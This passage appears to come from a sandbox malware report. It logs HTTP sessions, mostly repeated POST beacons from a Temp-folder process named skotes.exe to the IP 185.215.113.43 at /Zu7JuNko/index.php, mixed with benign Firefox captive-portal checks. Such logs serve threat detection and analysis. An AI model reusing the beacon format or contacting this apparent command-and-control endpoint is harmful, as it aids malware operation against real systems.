Nov 19, 2024 22:08:40.944174051 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:41.037370920 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60862 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50235	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:41.063214064 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:41.154089928 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45936 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:46.415884972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:46.506742954 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45941 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:46.591331005 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:46.682377100 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45941 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:08:56.697280884 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:08:57.094950914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:08:57.187819004 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45952 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:09:07.203161955 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:08.865715027 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:09:08.956724882 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45963 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:09:09.103816032 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:09:09.194798946 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45964 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:09:17.701591015 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:09:17.792675972 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45972 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:09:27.806444883 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:37.988749981 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:38.101382017 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:09:38.199486971 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 45993 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 22:09:48.292186975 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 22:09:58.394834995 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50236	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:42.273936033 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:42.492491007 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50237	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:44.337213993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:44.543572903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50238	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:46.309870958 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:46.538222075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50241	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:48.388638020 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:48.593246937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50242	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:50.353183985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:50.565196991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50244	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:52.410496950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:52.622528076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50245	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:54.362847090 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:54.574359894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50246	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:56.405936003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:08:56.611763954 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50248	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:08:58.335498095 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:08:58.545588017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50249	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:00.371717930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:00.579513073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50250	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:02.302582979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:02.513772011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50251	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:04.361391068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:04.572168112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50252	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:06.307733059 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:06.517971992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50254	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:08.362431049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:08.569619894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50259	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:10.290282965 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:10.500459909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50260	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:12.324359894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:09:12.532007933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50261	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:14.255259991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:09:14.467457056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50265	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:09:16.289484978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
